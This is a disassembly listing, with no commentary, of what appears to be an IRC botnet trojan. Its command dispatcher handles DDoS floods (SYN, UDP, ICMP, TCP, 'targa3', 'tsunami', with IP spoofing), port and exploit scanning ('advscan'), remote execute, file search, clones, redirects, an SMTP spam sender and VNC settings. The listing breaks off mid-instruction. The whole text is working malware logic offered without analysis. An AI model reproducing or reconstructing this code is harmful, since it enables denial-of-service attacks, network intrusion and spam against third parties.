loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h call near ptr 2680EF8h nop jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j call near ptr 269086Bh nop push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call near ptr 2680EF8h nop jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j nop call near ptr 269086Bh push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 lea eax, [ebp+var_46F0] push eax call dword_4CBA58 push 6 push 1 push 2 mov edi, eax call dword_4CBA54 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC push esi call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j nop call near ptr 269086Bh push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h nop call near ptr 2680EF8h jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej nop call near ptr 269086Bh push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330E0o ; ___:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h call near ptr 2680EF8h nop jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj nop call near ptr 269086Bh push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea 